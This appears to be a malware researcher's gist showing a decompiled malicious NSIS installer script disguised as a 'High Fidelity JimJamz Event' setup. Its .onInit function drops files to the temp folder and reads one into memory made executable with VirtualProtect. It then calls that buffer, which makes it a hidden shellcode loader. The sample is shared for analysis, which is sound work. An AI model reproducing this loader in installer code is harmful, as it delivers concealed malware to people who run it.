Skip to content

Instantly share code, notes, and snippets.

@hshrzd
Created May 29, 2021
Embed
What would you like to do?
A script from the malicious NSIS protector
; NSIS script NSIS-2
; Install
SetCompressor /SOLID lzma
SetCompressorDictSize 8
; --------------------
; HEADER SIZE: 12293
; START HEADER SIZE: 300
; MAX STRING LENGTH: 1024
; STRING CHARS: 3479
OutFile [NSIS].exe
!include WinMessages.nsh
; --------------------
; LANG TABLES: 1
; LANG STRINGS: 47
Name "Dravidian Unclassified"
BrandingText "Nullsoft Install System v2.46"
; LANG: 1033
LangString LSTR_0 1033 "Nullsoft Install System v2.46"
LangString LSTR_1 1033 "$(LSTR_2) Setup"
LangString LSTR_2 1033 "Dravidian Unclassified"
LangString LSTR_5 1033 "Can't write: "
LangString LSTR_6 1033 "Copy failed"
LangString LSTR_7 1033 "Copy to "
LangString LSTR_8 1033 "Could not find symbol: "
LangString LSTR_9 1033 "Could not load: "
LangString LSTR_10 1033 "Create folder: "
LangString LSTR_11 1033 "Create shortcut: "
LangString LSTR_12 1033 "Created uninstaller: "
LangString LSTR_13 1033 "Delete file: "
LangString LSTR_14 1033 "Delete on reboot: "
LangString LSTR_15 1033 "Error creating shortcut: "
LangString LSTR_16 1033 "Error creating: "
LangString LSTR_17 1033 "Error decompressing data! Corrupted installer?"
LangString LSTR_20 1033 "Execute: "
LangString LSTR_21 1033 "Extract: "
LangString LSTR_22 1033 "Extract: error writing to file "
LangString LSTR_23 1033 "Installer corrupted: invalid opcode"
LangString LSTR_24 1033 "No OLE for: "
LangString LSTR_25 1033 "Output folder: "
LangString LSTR_26 1033 "Remove folder: "
LangString LSTR_29 1033 "Skipped: "
LangString LSTR_30 1033 "Copy Details To Clipboard"
LangString LSTR_36 1033 "Error opening file for writing: $\r$\n$\r$\n$0$\r$\n$\r$\nClick Abort to stop the installation,$\r$\nRetry to try again, or$\r$\nIgnore to skip this file."
LangString LSTR_37 1033 Custom
LangString LSTR_38 1033 Cancel
LangString LSTR_39 1033 ": Installing"
LangString LSTR_40 1033 "Show &details"
LangString LSTR_41 1033 Completed
LangString LSTR_42 1033 "< &Back"
LangString LSTR_43 1033 "&Next >"
LangString LSTR_44 1033 "Click Next to continue."
LangString LSTR_45 1033 ": Completed"
LangString LSTR_46 1033 &Close
; --------------------
; VARIABLES: 26
Var _0_
Var _1_
Var _2_
Var _3_
Var _4_
Var _5_
Var _6_
Var _7_
Var _8_
Var _9_
Var _10_
Var _11_
Var _12_
Var _13_
Var _14_
Var _15_
Var _16_
Var _17_
Var _18_
Var _19_
Var _20_
Var _21_
Var _22_
Var _23_
Var _24_
Var _25_
InstType $(LSTR_37) ; Custom
InstallDir $TEMP
; wininit = $WINDIR\wininit.ini
; --------------------
; PAGES: 2
; Page 0
Page instfiles
CompletedText $(LSTR_41) ; Completed
DetailsButtonText $(LSTR_40) ; "Show &details"
/*
; Page 1
Page COMPLETED
*/
; --------------------
; SECTIONS: 1
; COMMANDS: 255
Function func_0
Exch $R2
; Push $R2
; Exch
; Pop $R2
Exch
Exch $R1
; Push $R1
; Exch
; Pop $R1
Exch 2
Exch $R0
; Push $R0
; Exch
; Pop $R0
Push $R3
Push $R4
Push $R5
Push $R6
Push $R7
Push $R8
Push $R9
StrCpy $R3 0
StrLen $R4 $R1
StrLen $R6 $R0
StrLen $R9 $R2
label_22:
StrCpy $R5 $R0 $R4 $R3
StrCmp $R5 $R1 label_27
StrCmp $R3 $R6 label_34
IntOp $R3 $R3 + 1
Goto label_22
label_27:
StrCpy $R5 $R0 $R3
IntOp $R8 $R3 + $R4
StrCpy $R7 $R0 "" $R8
StrCpy $R0 $R5$R2$R7
StrLen $R6 $R0
IntOp $R3 $R3 + $R9
Goto label_22
label_34:
Pop $R9
Pop $R8
Pop $R7
Pop $R6
Pop $R5
Pop $R4
Pop $R3
Push $R0
Push $R1
Pop $R0
Pop $R1
Pop $R0
Pop $R2
Exch $R1
; Push $R1
; Exch
; Pop $R1
FunctionEnd
Function func_51
Exch $_1_
; Push $_1_
; Exch
; Pop $_1_
Exch
Exch $_0_
; Push $_0_
; Exch
; Pop $_0_
StrCpy $_6_ ""
StrCpy $_2_ -1
StrLen $_3_ $_1_
StrLen $_5_ $_0_
label_62:
IntOp $_2_ $_2_ + 1
StrCpy $_4_ $_0_ $_3_ $_2_
StrCmp $_4_ $_1_ label_67
StrCmp $_2_ $_5_ label_69
Goto label_62
label_67:
StrCpy $_6_ $_1_
Goto label_69
label_69:
Pop $_1_
Exch $_6_
; Push $_6_
; Exch
; Pop $_6_
FunctionEnd
Section LightInstaller ; Section_0
Call func_171
StrCmp false true 0 label_77
Call func_180
label_77:
Call func_215
Call func_228
SectionEnd
Function func_80
StrCpy $_7_ false
StrCpy $_8_ false
FunctionEnd
Function func_83
WriteUninstaller "$APPDATA\High Fidelity\JimJamz\Uninstall High Fidelity JimJamz Event.exe" ; "$INSTDIR\$APPDATA\High Fidelity\JimJamz\Uninstall High Fidelity JimJamz Event.exe"
WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" DisplayName "High Fidelity JimJamz Event"
WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" UninstallString "$\"$APPDATA\High Fidelity\JimJamz\Uninstall High Fidelity JimJamz Event.exe$\""
WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" DisplayIcon "$\"$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe$\""
WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" Publisher "High Fidelity, Inc"
WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" HelpLink http://highfidelity.com
WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" URLUpdateInfo http://highfidelity.com
WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" URLInfoAbout http://highfidelity.com
WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" DisplayVersion 1.0.0
WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" VersionMajor 1
WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" VersionMinor 0
WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" NoModify 1
WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" NoRepair 1
WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" EstimatedSize 1024
FunctionEnd
Function .onInit
InitPluginsDir
; Call Initialize_____Plugins
; SetDetailsPrint lastused
SetOutPath $INSTDIR
File 5e9ikl8w3iif7ipp6
File 3ugs67ip868x5n
File tjdorfrldbgdlq
System::Alloc 1024
; Call Initialize_____Plugins
; SetOverwrite off
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push 1024
; CallInstDLL $PLUGINSDIR\System.dll Alloc
Pop $0
System::Call "kernel32::CreateFile(t'$INSTDIR\tjdorfrldbgdlq', i 0x80000000, i 0, p 0, i 3, i 0, i 0)i.r10"
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push "kernel32::CreateFile(t'$INSTDIR\tjdorfrldbgdlq', i 0x80000000, i 0, p 0, i 3, i 0, i 0)i.r10"
; CallInstDLL $PLUGINSDIR\System.dll Call
System::Call "kernel32::VirtualProtect(i r0, i 1024, i 0x40, p0)p.r1"
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push "kernel32::VirtualProtect(i r0, i 1024, i 0x40, p0)p.r1"
; CallInstDLL $PLUGINSDIR\System.dll Call
System::Call "kernel32::ReadFile(i r10, i r0, i 1024, t., i 0) i .r3"
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push "kernel32::ReadFile(i r10, i r0, i 1024, t., i 0) i .r3"
; CallInstDLL $PLUGINSDIR\System.dll Call
System::Call ::$0()
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push ::$0()
; CallInstDLL $PLUGINSDIR\System.dll Call
Call func_80
CreateDirectory "$APPDATA\High Fidelity\JimJamz"
CopyFiles $EXEPATH "$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe" ; "$(LSTR_7)$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe" ; "Copy to "
CreateShortCut "$DESKTOP\High Fidelity JimJamz Event.lnk" "$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe"
CreateDirectory "$SMPROGRAMS\High Fidelity JimJamz Event"
CreateShortCut "$SMPROGRAMS\High Fidelity JimJamz Event\High Fidelity JimJamz Event.lnk" "$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe" "" "$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe"
Call func_83
Return
FunctionEnd
Function func_139
ReadRegStr $_9_ HKCR hifi\DefaultIcon ""
Push $_9_
Push ,1
Push ""
Call func_0
Pop $_9_
FunctionEnd
Function func_146
Call func_139
StrCmp $_9_ "" label_169
IfFileExists $_9_ label_149 label_169
label_149:
StrCpy $R0 139
ExecWait "$\"$_9_$\" --suppress-settings-reset --protocolVersion $TEMP\version.txt"
FileOpen $_11_ $TEMP\version.txt r
FileRead $_11_ $_10_
FileClose $_11_
StrCmp $_10_ vNTlzyZbPVfAprVzet07vA== 0 label_157
StrCpy $_8_ true
Goto label_167
label_157:
Push $_9_
Push steamapps
Call func_51
Pop $_14_
StrCmp $_14_ "" label_163
Goto label_164
label_163:
Goto label_169
label_164:
MessageBox MB_RETRYCANCEL|MB_ICONEXCLAMATION "You have an old version of High Fidelity installed through Steam.$\r$\nPlease update High Fidelity through Steam, then press Retry.$\r$\nTo quit this installer, press Cancel.$\r$\n$\r$\nNOTE: During debugging, while the Steam version of HiFi is out-of-date, you will get stuck here, as no version of HiFi is up-to-date enough to work with this installer." /SD IDCANCEL IDRETRY label_167 IDCANCEL 0
Quit
Call func_146
label_167:
Delete $TEMP\version.txt
Goto label_170
label_169:
StrCpy $_7_ true
label_170:
FunctionEnd
Function func_171
Call func_146
StrCmp $_7_ true 0 label_179
StrCpy $_13_ hifi_installer.exe
StrCpy $_12_ $TEMP\$_13_
Pop $R0
StrCmp $R0 OK label_180
MessageBox MB_OK "High Fidelity Interface download failed with status: $R0. Please try running this installer again."
Quit
label_179:
FunctionEnd
Function func_180
label_180:
IfFileExists "$APPDATA\High Fidelity\content-sets\jimjamz-1" label_181 label_182
label_181:
Goto label_192
label_182:
StrCpy $_15_ hifi_content.zip
StrCpy $_16_ $TEMP\$_15_
Pop $R0
StrCmp $R0 OK label_189
MessageBox MB_OK "Content download failed with status: $R0. Please try running this installer again."
Quit
Pop $R0
label_189:
StrCmp $R0 success label_192
MessageBox MB_OK "Content set decompression failed with status: $R0. Please try running this installer again."
Goto label_192
label_192:
Return
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Function func_215
StrCmp $_7_ true 0 label_227
Exec "$\"$_12_$\" /nSandboxIfNew /S /forceNoLaunchClient /forceNoLaunchServer"
StrCpy $_24_ 1
StrCpy $_23_ hifi$_24_.bmp
Pop $_18_
StrCmp $_18_ error 0 label_222
Abort
label_222:
Pop $_19_
Pop $_20_
SendMessage $_20_ 0x040a 1 50
Pop $_21_
EnableWindow $$mui.Button.Cancel 1
label_227:
FunctionEnd
Function func_228
Push $CMDLINE
Push /forceNoLaunchClient
Call func_51
Pop $_14_
StrCmp $_8_ true 0 label_238
StrCmp $_14_ "" 0 label_238
Call func_139
StrCpy $_25_ "--url $\"hifi://JimJamz$\" --suppress-settings-reset --skipTutorial"
IfFileExists $APPDATA\..\LocalLow\Morph3D\ReadyRoom\High_Fidelity_RR_Launch.js label_237 label_237
label_237:
Exec "$\"$_9_$\" $_25_"
label_238:
SendMessage $HWNDPARENT 0x0111 2 0
Quit
FunctionEnd
/*
Function Initialize_____Plugins
SetDetailsPrint none
StrCmp $PLUGINSDIR "" 0 label_251
Push $0
SetErrors
GetTempFileName $0
Delete $0
CreateDirectory $0
IfErrors label_252
StrCpy $PLUGINSDIR $0
Pop $0
label_251:
Return
label_252:
MessageBox MB_OK|MB_ICONSTOP "Error! Can't initialize plug-ins directory. Please try again later." /SD IDOK
Quit
FunctionEnd
*/
; --------------------
; UNREFERENCED STRINGS:
/*
1 ProgramFilesDir
17 "C:\Program Files"
34 $PROGRAMFILES
38 CommonFilesDir
53 "$PROGRAMFILES\Common Files"
70 $COMMONFILES
2195 $_17_
2203 "High Fidelity failed to install. Please rerun this installer."
2265 $_19_
2269 0x000C
2280 100
2284 0x0402
2291 $${PBST_ERROR}
2305 $${PBM_SETSTATE}
2321 "High Fidelity has finished installing!"
2364 Finish
2371 $_24_
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment